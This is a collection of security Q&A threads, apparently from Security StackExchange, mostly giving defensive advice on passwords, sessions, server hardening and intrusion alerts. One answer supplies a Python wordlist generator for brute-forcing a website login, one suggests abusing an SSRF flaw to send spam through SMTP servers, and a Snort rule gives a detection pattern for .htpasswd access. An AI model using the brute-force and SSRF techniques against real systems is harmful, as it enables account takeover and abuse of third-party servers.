Do malicious downloads bypass integrated browser downloader, if so how does that happen? I've been reading a lot on here about malicious downloads from browsing sites, drive by downloads, etc, but never heard talk about how the download happens, and how it would bypass the internal download of the browser.  In most browsers you will be notified when you are downloading something, i.e., chrome shows all downloads at the bottom in it's own tray.

It seems to me that these malicious downloads are stealthy, which would mean that they would work around any built in browser downloader.

My question is, if this is indeed the case of getting around it, how is that possible, and what methods are being used to stop this, and is there anything we on the client can do?

If this isn't the case, then does that mean it downloads as a regular file, in which ignorant users will then run the program?

I've ran into a situation on someone I know's computer where they visited a site and they had additional extensions downloaded into their chrome browser that caused sketchy things such as a fake Google "new tab" page.  So to me, it seems as if a lot of this can happen without the user allowing it (or they don't know they allowed it?).

EDIT:  I found this question Do drive by download attacks include malicious file downloading?

Which doesn't exactly answer my question, but adds to it saying that a user would have to run a file, or malicious JS running, activeX, Java, etc, but I'm curious if there's a way around the downloaders, in that malicious code is downloaded to your machine.  It also would seem the user might need to run it, but at the same time, maybe not...  I guess it would depend on what the malicious code actually is, and what it's attacking you through?  i.e., is it a file, or Java, or Adobe Flash, etc...

The important thing to understand here is that "browsing" as such is dangerous if your browser is vulnerable and you visit the wrong site. The problem has nothing (or little) to do with what most users call "downloading", i.e. the intentional download of a file in order to save it on disk for later use (like downloading a pdf, an exe, a picture or movie or whatever).

In order to understand what happens you need to think of what computer programs are. They are processes which run in memory. They accept input and produce output. I'm of course simplifying but you'll soon get the idea. Input is what you provide (mouse clicks, URL information, form data you fill in etc.). Output is mostly what is rendered in the browser window and what you consume through your eye and your brain.

Another input to the browser program is what the browser downloads from the site(s) you visited. Keep in mind that it can be hard to keep track of what is actually loaded from the site. The site might link hundreds of other sites in order to get pictures, styles, javascript, create ads, include facebook likes etc. etc.

Now how are computer programs compromised? Through malformed input in situations where programmers forgot to check input for correct format or made programming mistakes otherwise. In our case: If you visit the wrong site then it will send malformed html, css, malformed movie format, .... (whatever the hacker finds that can be exploited) to your browser hoping that you're using a vulnerable version. Then, in the browser process, a buffer overflow or similar happens and the hacker achieves RCE (remote code execution, which means he turns your browser into a tool of his will).

So in case the browser is vulnerable you don't need an intentional download in order to get hacked. If it's done well, you won't even notice when it happens.

Browser extensions usually make this worse. Generally, the more software you run and that processes external (unverified) input the bigger the attack surface becomes.

So what can you do?

Make sure your browser is patched up to date
Avoid stuff which is known to be vulnerable (flash player)
Avoid sites which look fishy
if you can, use virtualization technologies (use a browser in a virtual machine. Reset the VM image after each use)


Is there any good reason not to salt/hash passwords you store? Two organisations I frequently deal with (including my bank) ask me my password to authenticate myself with them... well... they ask for "random" characters from my password.

As I understand it, this means that the password cannot be being stored salted and hashed? It has to be being stored in a retrievable format. Whether that's plaintext or some way of reversible encryption.

My question is whether this can be justified? Is this really a better idea?

In my mind the benefits are:

replay attacks are "harder" (hah!)
customer hopefully realises phishing requesting entire password is phishing

But is that really good enough to offset the big disadvantage that it is technically very, very possible for your entire password store to be obtained?

Security is a complex endeavor, and knee-jerk reactions like “plaintext password? never” are just as bad as “passwords must contain special characters” or “my crypto's bigger than yours” or “if I can't understand it nobody can” if you don't consider the full context.

First, let's analyze the assets. There are two subjects: the bank, and the customer. They hold several assets:

The bank's money. Depending on what the attacker do, the bank may need to spend money fixing problems, to compensate the customer or other parties, and may see its reputation tarnished.
The customer's money (and his private information).
The customer's password. If compromised, he will need to change it, perhaps on other sites as well.
The authentication data sent during one session. This can be different from the password, for example in the case considered here this is (typically) two random characters from the password.

The bank is in full control of the security architecture. It would be unsurprising for it to privilege the security of its own assets over the customer's. This doesn't bode well for the password.

There are many threats around the password, including (numbering for convenience, not to suggest any particular order of importance):

An attacker gains access to the bank's live system or to backups and is able to access the password the way it is encoded in storage. The attacker would almost certainly be able to obtain a large number of passwords at once this way.
An attacker gains access to the computer used by the customer (e.g. by installing malware on it) and grabs the authentication data, possibly hijacking the session.
An attacker obtains the authentication data by shoulder surfing or other method that doesn't give him control over the session.

Hashing the passwords on the bank servers exclusively mitigates threat #1, unauthorized access to the encoded password. This mitigation is limited as it is only effective against sufficiently strong passwords; weak passwords will fall even if protected by a slow hash.

Splitting the authentication data from the password increases the vulnerability to this threat. On the other hand, it mitigates threat #3 and to a small extent threat #2: an attacker in possession of the authentication data for one session cannot easily reproduce it to open another session. If he makes many attempts until he gets a challenge that matches the authentication data he has, his attempts are likely to be blocked by the bank's server. Eventually, if he watches enough successful authentications, he'll get the whole password, but he risks getting noticed.

At this point, the bank needs to weigh the risk and damage from threat #1 with the risk and damage from threat #3, and to consider alternative ways of mitigating threat #3. There are numerous authentication methods and I won't go into details here; I'll concentrate on threat #1.

If threat #1 leads to an attack, the attacker is in possession of a large number of hashed or non-hashed passwords. Keep in mind that hashing only makes a difference from sufficiently strong passwords. The attacker is unlikely to be able to attack all the accounts anyway, because after a while he will be detected (maybe not with 100% accuracy, but enough to slow him down) by the bank's fraud pattern detection. So he's content with focusing on the accounts with the passwords that are easiest to crack; hashing doesn't slow him that much. The mitigation offered by hashing isn't very good in this scenario.

If you're a user with a strong password, you would understandably prefer not to be affected by the attack — let the troubadours bear the brunt. The bank has a different outlook: it doesn't care whose account gets breached, only about the number of breached accounts. If at this point you get huffy about banks not caring about geeks who take their security seriously — do you have a credit card? Merely having one allows anyone to make a purchase charged to your account by rattling off a 16-digit number that's all over the pace, so you have a way to go.

The other part of the assessment of password hashing is to consider alternative mitigations. A bank isn't some service hosted on a $5 VPS, it can afford better security. For example, banks tend to have very tight controls on their employees, which reduces the risk of an insider breach. Against outsiders, storing the passwords in an HSM is a good but awkward defense (in particular, backups are hard). Encrypting the passwords and storing the encryption keys split over several smart cards is another possible mitigation — it doesn't protect the live system but it's effective for backups. Encryption is a very good mitigation of threat #1 (it works even against extremely weak passwords) provided that the key and the password database are sufficiently independent so that they are hard to steal together.

All things considered, password hashing is not a panacea in this scenario. While it isn't a bad idea, a qualitative analysis shows that an alternative approach that requires a reversible password storage may provide better security. It would take a very thorough study of fraud and usability to assess quantatively whether using random characters from passwords for authentication is worth foregoing password hashing.


Single Page Application session management I have a Single Page Application which is fully HTML+JS+CSS (using frameworks such as jQuery and AngularJS) and a server side API using ASP.NET WebApi.
The SPA is served in a server similar to a CDN and also packaged using Cordova for use in smartphones.
The server side API has a lot of methods which needs authorization and authentication, hence I have to login and pass an identifier from the client side so the server would know who I am.
The problems I am facing:

Once authenticated, where should I store the access token \ session ID?
currently I have built my own authentication method (not OAuth) which returns a session ID, which the client puts in every subsequent HTTP calls in the Authorization header. However, when a user decides to refresh the page, the header is now gone. Solutions are to either save the session ID in a sessionStorage which might be insecure (OWASP doesn't recommend so, but perhaps X-Frame-Options = SAMEORIGIN would be suffice?) or use a HttpOnly cookie for the session management, which brings me to the next point:

If I am using Cookies it's understood that I need to check for CSRF, but if i'm not? is there any reason to add a CSRF? it's in the same scope for the session ID.

I have my own user system and group management which has a robust access checks. Is there any advantage for me to use OAuth and OpenID if I already have a working authorization filter which checks what I need, and isn't roles-string-based? (i.e. Roles="Administrators" etc., but fully CanChangeResource(x))

I have failed to find similar questions which may answer my problems and would appreciate an informative answer.

Looking at the two options you presented, sessionStorage or HttpOnly cookies, there is a trade-off.   You are correct that if you use cookies, you need a CSRF token, and if you use sessionStorage and use that as the source for your header, you do not.

However, what OWASP is concerned about with sessionStorage, is that an XSS vulnerability allows an attack to extract authenticated sessions.   With an HttpOnly cookie, it does not.   Given the prevalence of XSS on the web today, this is a threat to consider seriously.

So, while sessionStorage would be the simpler option, and may well work with little modification to code you currently have in place, the HttpOnly cookie plus an anti-CSRF token would be the more secure approach.  You have to decide if the extra effort is worth it to you, for your application.


How to keep track of file authenticity while offline I have an application running the client/server model and offering an online and an offline mode. Each user can read, create or modify text files (even in offline mode) that will be present on his disk. I want to prevent any hand-cration or hand-modification of these files done manually, I mean without client application, so that when a client tries to send a file to the server, the server checks if the digital signature matches, if it doesn't, the file will simply be rejected. Two different clients generating an identical file from a content point of view will provide an identical signature, because I am not interested in the user's identity aspect, only in the tamperation aspect of the data.

To be more specific, I'm coding a game, so the server represents the shop. I do all this to check that the file (which can represent money for example) was created via my app and not by hand by a malicious player who gave himself a large amount of money).

Could the digital signature principle work for me? Because the same smart guy who would try to falsify files could also look into the byte code to see how the function that calculates the digital signature of any file works, in order to reproduce it to create files considered valid by the server as well?

I wonder if I have understood the principle of the digital signature: is the signature really happening client-side? If so, how is the mechanism "hidden" from potential hackers?

Here's a graph I made to explain how the file should behave according to the actions we apply on it.

EDIT: Replacing everything with a more recent, complete and readable version of my initial question.

There is no stricly secure way. If a modification can be applied offline through the official app, then that app needs to have client side everything that is required to build the new version of the file. So a hacker should be able (at least through disassembly tools) to find what the app does and mimic it. But you can make that hard enough to prevent many users to do it. That is essentially called obfuscation. That means an information that is present (the app need it) but hard to find.

If a lot of actual money is involved of if the consequences could be really serious, I would not use obfuscation. If the amount is not mission critical, you will have to balance between the risk of somebody hacking into your app, and the gain of offering many users an interesting feature. I am sorry not to give you a precise answer but it is the best I can do.


Protect IP Address and location from Twitter Is there a way to protect IP Address and location from Twitter after having logged in ? All I want Twitter to know is my email and password and nothing else. No IP Address, no location. Is that possible somehow ? What is the best way to do this ? VPN or Tor or something else that works for this purpose ?

VPN is enough.
You can do it in 2 ways:

subscribe to a VPN service that may allow you to choose your server from a very wide range of locations

use browser-integrated VPNs like Opera has or browser modules like browsec (which can be free or payed/premiums that allow more locations/servers to be selected).


Allowing WhatsApp data through specific bundle My mobile network provider recently released a new GPRS bundle, it consist of 50 MB per month for WhatsApp data only!

First, how do they identify WhatsApp data, and more important to me, isn't that compromising our privacy?

I know that the data is being encrypted, but the idea of controlling the data freaks me itself.

  I checked on wireshark and I noticed that some data is transfered using ports: 5222, 5223 and 5228. And there are some data on SSL over 443.

  That's why I'm confused.

Thanks.

Your network provider will see to which servers on which ports your device will connect.  Your WhatsApp client will connect to well-known servers. So your provider will probably put the traffic you make over some WhatsApp servers into another category than any other traffic.

This can be done by passively looking at your traffic. They probably have some netflow data which provides those information.

The only thing you'll reveal to your provider is that you sent n Bits of data to WhatsApp. But the provider knows this anyway.

However there is some chance that the provider could try to execute a man-in-the-middle attack. This means it places itself between you and the WhatsApp server (or any other server). However WhatsApp encryption was explicitly designed with that attack in mind. The whitepaper discusses how sessions are set up and there is no way to successfully mount a man-in-the-middle attack. Also it is not possible for your provider to see to whom you are connecting.

So in general your provider will not see more data than it sees now.


RK Hunter Warns about /usr/lib/apache2/mpm-event/apache2 uses deleted files, how to further investigate the matter and how shall I treat it? I have a cloud server that I am preparing for a small E-Commerce website deployment.
I've used a RSA-2048 keys right before booting the newly purchased server, with the help of the Provider's Control Panel.
I've quickly secured SSH Server before doing my first reboot.

I've installed Ubuntu 12.04 64-bit Server Edition, updated and upgraded.
I've installed LAMP Stack using a provisioning script, I've chose to use the script since I don't know yet how to configure Varnish-Cache, the script includes options to install Varnish-Cache automatically for me.
Varnish-Cache is installed but not enabled yet.

I am in the process of applying some basic server security measures, and that includes the installation of RKHunter. I've cleared and white listed the known false positives warnings.

After the RKhunter's initial setup and initial run, it throw warning about apache2 process using deleted files.

Warning: The following processes are using deleted files:
Process: /usr/lib/apache2/mpm-event/apache2    PID: 1315    File: /run/apache2/ssl_mutex
Process: /usr/lib/apache2/mpm-event/apache2    PID: 1338    File: /run/apache2/ssl_mutex
Process: /usr/lib/apache2/mpm-event/apache2    PID: 1339    File: /run/apache2/ssl_mutex
Process: /usr/lib/apache2/mpm-event/apache2    PID: 1340    File: /run/apache2/ssl_mutex

I don't have a clue about this warning, and how to check and confirm if it's dangerous or not. If not dangerous, then I shall proceed and whitelist/allow the process.

I did some research about the process and the file, and I can't find enough details on how to further inspect the warning and how to deal with it. The processes involved in the warning are;

usr/sbin/apache2 -k start
www-data  1262  0.0  0.5  85172  2816 ?        S    23:05   0:00 /usr/sbin/apache2 -k start
www-data  1263  0.0  0.5  85164  2620 ?        S    23:05   0:00 /usr/sbin/fcgi-pm -k start
www-data  1278  0.0  0.6 333736  3240 ?        Sl   23:05   0:00 /usr/sbin/apache2 -k start

Some links I've read are below, but not that helpful with regard to the help I am seeking;
http://www.howtoforge.com/forums/archive/index.php/t-56463.html
http://sourceforge.net/mailarchive/forum.php?thread_name=1285681228.2694.51.camel%40localhost.localdomain&forum_name=rkhunter-users
http://ubuntuforums.org/showthread.php?t=1711303
http://permalink.gmane.org/gmane.comp.security.rkhunter.user/2012

I need some help and advise on how to deal with the warning. Or Before I allow it to pass RKHunter's settings. I am thinking about the script I've used, but It's cloned from a Github Repo. And it also has a separate Home Page that has the download link for the script. The script is called TuxLite.

This does not come from the scripts you have used (tuxlite). Although it is a bad practice, you can frequently find linux processes using deleted files (Apache in your case). RKhunter doesn't like that too much, as basically those files are invisible to other processes and this could be seen as malicious behaviour.

However, in your case and given that this is a clean box you just installed, I would consider this as a false positive and if needed you can add a whitelist rule in your RKhunter configuration, or even disable the deleted file module completely.

If you want to further investigate it, here are a couple things you can do:

lsof | grep /run/apache2/ssl_mutex

will give you the process ID and the file number. Then you can go and check for the file descriptor:

cd /proc/[PROCESS_ID]/fd
ls -Filah [FILE_NUMBER]

You can use usual commands to play with this file (read it, write to it). Also,

tail [FILE NUMBER]

will show you what is written into that file.

In any case, don't try to remove it because the process is still using it.


Bad USB and other Exploits of USB Devices Can every USB device and most of the chips in other hardware be reprogrammed like it works with the Bad USB hack to inject malware into the operating system?
For example i got a DVD burner that i bought a DVD burner to install operating systems to my notebook.
The people working for the manufacturing firm do they have the skills and knowledge to rebuild the device or reflash the chip in a way that it can inject malware during the installation process?

They have the signatures so in ubuntu if one would check lsusb the device would still be recognised as a product of this manufacturer if i imagine this right.
I read somewhere that regarding the bad USB hack emulating a keyboard is the only possibility to take over the operating system because logically a usb device has not the "skills" of a network card.
But for example if someone would rebuild a larger usb device like a keyboard or a DVD burner and put in a little extra chip there should be more possibilities and attack vectors.
How could one prevent such attacks?
Monitoring network activity and blocking human interface devices?

1) BadUSB works by reprogramming a USB device's firmware "in-band" (ie. over the USB connection).  Currently, only one particular model of USB controller chip is known to permit this.  Devices that do not permit in-band firmware changes are not vulnerable to BadUSB.

3) No amount of firmware programming can make a device do something it doesn't have the hardware for.  A USB thumb drive, for example, has neither antennas nor Ethernet jacks, and thus cannot be turned into a network card.

Putting extra chips in a device isn't a BadUSB attack.  It is, however, the sort of thing a spy agency might do, and they're generally clever enough about it that you can't spot the modifications through simple means like checking for unexpected network interfaces.


Create live USB that hides IP address from foreign government I may have to visit family in a few months overseas. Unfortunately, the local government of the area my family is from has gotten more corrupt and vicious. I am compelled to go here and may need to use Internet while I am with my family, and I heard of creating live USB.

https://fedoraproject.org/wiki/How_to_create_and_use_Live_USB

Unfortunately, I cannot find how to create live USB that will protect my identity (hide my IP address, location, etc) once I am in that foreign country. I know it can be done, but I am unable to find these resource on the Internet now.

Any guidance is greatly appreciated.

Tails is a project that provides exactly what you need, ready to download and install on  a USB flash drive.

Be warned that it is difficult to hide the fact that you are using Tor in the first place, which may raise suspicion in and of itself. My advice is to be careful where you use it. Depending on the country you could get your relatives in trouble if you use it at their house.


Learn about network and security for securing a server I'm setting up an OpenBSD server that I want to connect to the Internet (it's going to be used to host a site - so, with Apache, SQLite and the like).
I want it to be as secure as possible. Social engineering would be impossible as I'm the only one to know about the server, so I would like to secure the server as much as I can.
As for the website's security, it is a concern too but not as much as the server itself. The site will be extremely simple; the main page is protected by a password, the .htaccess is very restrictive, and it's not indexed on search engines. So apart from sanitizing user input, there's nothing to worry about.

The thing is, I only have an extremely basic knowledge of networking and security (be it OS security, web/net sec...). I am searching for tutorials or books that would be useful to learn about;

the Unix environment (shell, iptables, etc),
OS security (nothing too centered around programming though - I only have C/C++ basics),
Web applications and basic networking as well network security once I'm finished with the basics.

I don't know if there is anything else worth looking into for securing my server. As I said, I'm not really good at programming. Is it a problem? Should I become more proficient with C and C++ before looking into networking and security?

I refer you to the answer to this question, and will copy relevant parts below. I've also added a section or two at the end.

Choosing a strong passphrase

Yes, we've all heard it time and time again, but there is probably no easier way to improve your security. If you're a fan of passwords, make sure to choose something that contains enough entropy to be reasonably secure, while still being easy to memorize. A random series of letters and numbers is great, but you probably won't be able to memorize a very long string of them. Anything that includes personal information should also be avoided. Mixing your name with your birthdate is not secure, no matter how long and random it might look.

Personally, I'm a fan of pass phrases. Pick a few random words from a dictionary (I choose somewhere between 5 and 10 depending on the required ammount of entropy), and you've probably generated enough entropy to keep an attacker guessing for much longer than will be practical (see the XKCD on the topic for a laugh).

Other people prefer to use pass-sentences. While these may be longer than your typical passphrase, they may or may not be anymore secure.

For more information on passphrases and passentences see, `Linguistic properties of multi-word passphrases' by Bonneau and Shutova of the University of Cambridge [PDF], or their blog post on Light Blue Touch Paper.

Install security related updates

Actually, if you're running anything make sure you've got the latest security updates. Simply turning on Automatic Updating in Windows, or making sure to run updates often in Linux can go a long way towards keeping you safe.

SSH

If you're using SSH to access your computer remotely, make sure to turn it off for the root account, and always use public key authentication. Other things you can do include disabling protocol 1, allowing only certain users to login remotely, and disabling X-forwarding (depending on your requirements). For more info, see this article on the CentOS wiki.

Websites

If you've setup a website that you'll be logging into (admin interface in a CMS for instance), always login over SSL (eg. make sure your browser says ``https://"). It's possible to buy a certificate for a reasonable price (I like Rapid SSL) or you can generate a self signed certificate and use that.

Social Engineering

Just to rehash my comment on the original post, social engineering is always possible. Never assume that you won't be vulnerable. Chances are you won't fall for the obvious stuff (an email from your colo provider asking for the root password to your machine, etc.), but even something as trivial as where your machine is hosted (maybe you give your address out on a form for something completely unrelated to some guy you randomly met in a coffee shop) can be very useful to an attacker.

WiFi

Logging in remotely via a wireless access point? Make sure it's using WPA2. WEP and plaintext connections are a no. If it's your own access point (maybe even on the same network as your server, though I'd hope not) make sure to choose a strong password (see above).

Security through obscurity is not security

As someone else pointed out, security by obscurity should never be seen as a security measure. The second of Kerckhoffs' six design principles for military ciphers states:

  It [the algorithm] must not be required to be secret, and it must be able to fall into the hands of the enemy without inconvenience

This is applicable to much more than encryption algorithms, however, and should be taken as a general rule in any form of security engineering.

This principle is also known as Shannon's maxim after it was rephrased more simply by Claude Shannon as, "The enemy knows the system."


Caught Deauth attempt on wireless network last night. Suggestions on what to do from this point? Last night around 3-4 am I had noticed my network acting funky.. I flipped my wireless card into monitor mode and boom there was a rogue AP. I then acknowledged that I had seen them and mimic'd the movements they were making, and when I switched my mac for the last time I noticed a lot of the fake APs that were up went down.. Around 3-4. And stayed down.

Obviously after parsing through logs on my box I had been deauth'd at one point and had attached to them.. I saw requests from an IP that was out of my routers IP range. I keep my range very small for this reason.. My box is fine. What should I do from here to keep this at bay? I am afraid this may have enticed their curiousity.. Suggestions? Oh and yes my password is changed and strong.

If your password is strong and changed, I don't think you need worry. Most likely its just someone trying to crack password for fun. If its a strong password, they probably won't crack it, and if you've changed it, the cracked password will be useless even if they do crack it.


How do I make a word list for cracking password? I already know the password format: 1 Upper Case Letters + 5 digits + bf (bf is the known letters, they must included in the password and at the end)
For example: A12345bf, C12301bf, D10282bf.
I want to hack a website by using Hatch. (brute force)
But it’s too slow, it probably gonna take 1 million years.
So I want to make my own wordlists cuz I already know the format (1 Letters+ 5 Digits + bf).
But how can I create such wordlist?
I tried hashcat but after reading information about it for 6 hours I still get nothing!!
Is there any software I can make such wordlist?
I really need to get back my password.

I already know the password format: 1 Upper Case Letters + 5 digits + bf (bf is the known letters, they must included in the password and at the end) For example: A12345bf, C12301bf, D10282bf. I want to hack a website by using Hatch. (brute force) But it’s too slow, it probably gonna take 1 million years. So I want to make my own wordlists cuz I already know the format (1 Letters+ 5 Digits + bf). But how can I create such wordlist? I tried hashcat but after reading information about it for 6 hours I still get nothing!! Is there any software I can make such wordlist? And what is Github, what to do after cloning it? Where is the software? Yes, I have 0 knowledge in these kind of things. But I really need to get back my password. Why can’t there be a software, and download it, and use it. Why use cmd and git clone?? Please help

Every software system requires some initial investment of time to get set up and figure out how things work. Try not to get frustrated--these things take time.
Unfortunately, we likely won't be able to answer all the questions you pose in your post--some are also clearly off topic for the forum (e.g., "what is github").
Also, without knowing what software systems or programming languages you are already familiar with it is difficult to give you an answer with a concrete implementation.
But, assuming you are familiar with Python3, the following script will print out all 2600000 of the passwords in the form you indicated (1 uppercase letter + 5 digits + "bf"):
for i in range(100000):
    for c in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
        print("{}{:05d}bf".format(c,i))

Hope that helps.


Secure Way of Encrypting Your Bash Shell Script How can I encrypt my bash shell script on Linux server The shell script contain credentials of other servers for remote access. The problem is I do not want others with same level of access to view the shell script, modify it or get credentials. Is there any way to encrypt my shell script? My Initial research let me into Shell Encryption Utility known as SHC - Shell script Compiler.But tons of information is available on this utility that it can be circumvented what other choices do I have?

You could try to encrypt the script using standard methods and decode it on the fly by giving the secret key either directly or through a process. But, this would only help against attackers which have no permissions to modify any of your data or the programs you call, which especially means that they have neither root permission nor the same uid as you. And in this case a simple chmod go-rwx should already be enough protection.

So against users which have the same or even higher rights as you there is no protection.


Snort alert log simple question I am analyzing Snort alert log and cannot figure what [1:1071:6] means in

10/12-12:44:28.793118  [**] [1:1071:6] WEB-MISC .htpasswd access [**] [Classification: Web Application Attack] [Priority: 1] {TCP}

Or let's say [1:100000160:2] in other case.

I couldn't find what that means neither in manuals nor in rules.

How can I figure out what format Snort log lines are in and what unknown fields represent?

Those numbers are a combination of unique identification and data source. Each Snort signature is identified by a SID (Signature ID) and a revision number. The SID is used to uniquely identify that specific signature and the revision is the edit number of that signature. So the original signature is rev:1;, then if it gets updated then incremented to rev:2; and so on.

There is also what's called a GID (Generator ID). Generators are different analysis routines within the snort process. Specifically each preprocessor has its own GID, the tagging system has a GID, and the rules engine has a GID. The rules engine is the processing subsystem that actually processes packets against the signatures found in all the various and sundry rules files.

Now, putting all that context to good use, the string [1:1071:6] tells us this alert was produced by GID 1 and triggered by SID 1071 revision 6. Since it has a GID of 1 we know that this can be found in the rules files. I usually run this command to view a specific rule:

grep 'sid:1071;' /etc/snort/rules/*.rules

Running that today it gives me the result:

/etc/snort/rules/VRT-server-webapp.rules:# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SERVER-WEBAPP .htpasswd access"; flow:to_server,established; content:".htpasswd"; fast_pattern:only; metadata:ruleset community, service http; classtype:web-application-attack; sid:1071; rev:13;)


How to determine the minimum Linux Kernel version required for a given vulnerability I have to track vulnerabilities for a legacyish (3.12) Linux Kernel. For this purpose I'm searching on various sites like NVD for new vulnerabilities. Recently I encountered a problem where the affected version of the vulnerability was described as cpe:/o:linux:linux_kernel:4.4:rc8 and previous versions. But when I compared the sources of the Linux Kernel version 3.12 with the fix for this vulnerability I can see that the modification which caused the vulnerability was applied in a later version. This leads me to the question:

Is there a way to determine the version of the Linux Kernel where a vulnerability was introduced without analyzing the source code manually?

Someone has to analyze the code manually to find out when the vulnerability was introduced. If someone isn't telling you what version it was introduced in (which usually is only the case with high-profile vulnerabilities where someone wants to proudly proclaim how insecure and scary something is), you have to do it yourself. Unfortunately it's not always as simple as a single line with a vulnerability being added, but rather interplay between multiple components leading to an exploitable situation.


Any security vulnerability in PHP fsocketopen I'm assessing security of a webportal for a client and I found a vulnerability.

In the PHP, the code parses a user supplied URL, finds hostname, then does this:

fsocketopen("http://"$URL_HOST", 80);
fwrite("GET /".$URL_URL);

Other than making server to make HTTP requests (potential spamming or making server to make HTTP requests etc.) is there any other potential bugs associated to this? I control the full URL and can provide arbitrary hostname + URL + port (since its old PHP, it uses ":" after URL for port instead of its hardcoded port)

Since you have full control over both variables and the ports being opened, your best bet for doing more with this vulnerability is to keep in mind that many internet protocols are just plain text commands sent over an open socket.  The significance of this fact is that sending an HTTP request to an open SMTP server can actually trick the SMTP server into sending an email.  Chrome actually blocks any attempts to access port 25 via your browser as a result.  Here is a good run-down:

https://jazzy.id.au/2012/08/23/why_does_chrome_consider_some_ports_unsafe.html

The importance here is that you can use the vulnerable server not just to call arbitrary HTTP sites, but you can potentially also use it to spam SMTP servers (resulting in actual emails being sent) and potentially other internet-connected services.

Granted, this isn't a huge leap from where you already are, but you never know what more fun this might give you.  If for instance this server is trusted for email sending, you may be able to send emails as the company without having it filtered out as spam.  That's not a small thing.

It's possible the hard-coded http in the fsocketopen call may be enough to kill the email-sending idea, but it is definitely worth trying.  Again, there isn't really anything "special" to differentiate http requests from SMTP requests, so if you can find and connect to a server over the proper port, the fact that PHP considers it an http request doesn't really matter if the remote server accepts your connection.


Hardware Level Write Protection for a CD-R Let's say you burn a CD-R and it is finalized. Later, if you put it into a CD drive with some OS running, is it possible for the OS to write to it ?

Obviously, this shouldn't typically happen, because of some conventions that are typically followed. But, can these conventions be disobeyed by some, possibly malicious, software? Or is the read-only rule enforced at the hardware level (by the CD drive)?

Note: By "write to it", I mean change any bit that has already been written or add a new bit. Also, OS also includes BIOS.

A CD burner works by firing precise beams of IR or UV laser radiation at a targeted point on the disc surface, where it interacts with a chemical dye. This dye changes optical reflectivity when exposed to such radiation, hence the term "burning". When reading it back, a lower intensity beam (usually at a different electromagnetic wavelength) scans over the disc and interprets the levels of reflectivity as a signal. When appropriately interpreted, this produces a stream of 0s and 1s.

There are two primary ways of encoding such data. The first is simply to assign "reflective" and "non-reflective" as 0 or 1 directly. One downside with this is that it is prone to errors. A speck of dust or a small scratch could corrupt the data, so extensive error detection and correction (e.g. parity) data blocks must be included. An alternative method is to use transitional encoding, which converts the transition of reflective to non-reflective and vice versa as 0 and 1 bits. This helps improve error detection and correction because long runs of reflective or non-reflective responses are simply ignored. Parity is still required, but to a lesser extent.

If the former method is used, it may be possible to etch more non-reflective bits (whether these are determined as 0 or 1, I am unsure). However, in my understanding, this simple version of encoding isn't commonly used.

If the latter method is used, things get more complicated. Causing a reflective bit to become non-reflective would break the transition (i.e. you'd have non-reflective followed by non-reflective) and simply destroy the bit. The parity would then correct the error, assuming there is enough remaining data. Since the read controller is aware of its position on the cylinder, trying to damage a single bit-pair in the hopes of offsetting the data in a way that allowed you to control it wouldn't work, as it would recognise that the bit-pair was destroyed and move on to the next bit pair, rather than shifting the stream by one bit.

The only trick I could see being feasible is to destroy the data to the point where the parity correction results in the wrong data, but this would not allow you to arbitrarily alter data - the results would be bound to a strict set of outcomes, based on the calculation of the parity. As such, it is relatively infeasible to modify the data on the disc in any meaningful way.


Is it a security issue to give the default service account in a namespace an imagePullSecret in Kubernetes? I'm creating a Kubernetes deployment that needs to pull an image from a private registry.

The private registry requires credentials to authenticate to be able to pull an image, so I've added an imagePullSecret to the default service account in my namespace.

Is it a security issue to give the default service account in my namespace an imagePullSecret so that the pods can pull images from my private registry?

I am unsure of what questions I need to be asking myself to determine if there are any security issues. The official documentation shows an example of how to add an imagePullSecret to the default service account.

I've thought of two alternative ways to achieve what I want, but I am unsure if these are any safer:

Creating a new service account and adding an imagePullSecret
Declaring the imagePullSecret  in the actual pods’ spec of the deployment.

The main argument against using the default service account as against a specific one, is that every pod in that namespace will get access to the secret by default, as the default service account is applied to each pod.

Whether that's really an issue depends on what other workloads there are in the namespace.

I'd say that from a best practice perspective, you'd be better off creating a specific service account for this deployment and providing the imagePullSecret to that account, that way you are less at risk of inadvertant access.


Disabling authentication via DSA keys in OpenSSH? How can I disable DSA and ECDSA authentication on my server with OpenSSH 5.9? Sifting through the documentation material and doing a web search didn't yield any results - only an old bug report for the Debian package here (and those linked at the bottom of that bug) but no conclusion.

Assuming it is not possible to disable those two methods from inside the /etc/ssh/sshd_config, is it enough to do (Bash syntax): for i in /etc/ssh/ssh_host_{ecdsa,dsa}_key*; do echo -n ""|sudo tee "$i"; sudo chattr +i "$i"; done (below with line breaks for readability):

for i in /etc/ssh/ssh_host_{ecdsa,dsa}_key*;
do
  echo -n ""|sudo tee "$i"
  sudo chattr +i "$i"
done

I.e. to invalidate the host keys and then make them immutable, thus rendering attempts from sshd to regenerate the DSA and ECDSA host keys impossible.

The reason I want to disable DSA is because there are sources that claim weaknesses in the algorithm that have been actively abused, such as Wikipedia and this website. I dug a bit further and it seems credible. The more pragmatic and less theoretical advantage is the verification speed of RSA over DSA.

TL;DR: is it possible to configure sshd from OpenSSH in sshd_config to disable ECDSA and DSA? If not, can one prevent successful authentications with those methods by setting the host key files immutable?

I will first dispute your reasons for deactivating DSA and ECDSA:

There is no known weakness in either which makes them "more vulnerable" than plain RSA.
There has been badly made implementations of DSA or ECDSA; however, there has also been badly made implementations of RSA, and in some case it resulted in RSA key leakage (e.g. Bleichenbacher's attack).
While (EC)DSA requires a fresh source of good randomness, (EC)DSA key generation is vastly easier to perform than RSA key generation. Badly generated RSA keys appear to happen a lot in practice. This article includes an interesting quote about Arjen Lenstra (whom I would personally trust much more on security matters than almost everybody else):

  He said that other formulas such as Diffie-Hellman and DSA aren't as vulnerable because the duplication of a factor makes a key holder vulnerable only to the person who holds the corresponding certificate. "If you have a collision, you only affect one other person. You can hurt them and they can hurt you, but you haven't made it public to everybody and their mother."

If you do not have quality randomness on your server you are doomed anyway.
As for performance, DSA signature verification is no more expensive than the Diffie-Hellman key exchange which takes place anyway at the beginning of each connection. We are talking about one millisecond or so here on a basic PC; I suggest making actual measures before declaring some cryptographic algorithms guilty of slowness. And ECDSA will be typically ten times faster than DSA.

That being said, if you are really intent on deactivating (EC)DSA support on your SSH server, I suggest recompiling OpenSSH (starting with the source for the version packaged in your specific OS) after deactivating DSA and ECDSA in it (look for the key.c, function key_verify(): it suffices to modify it so that (EC)DSA verification always fails, and you will never accept any (EC)DSA-based authentication).

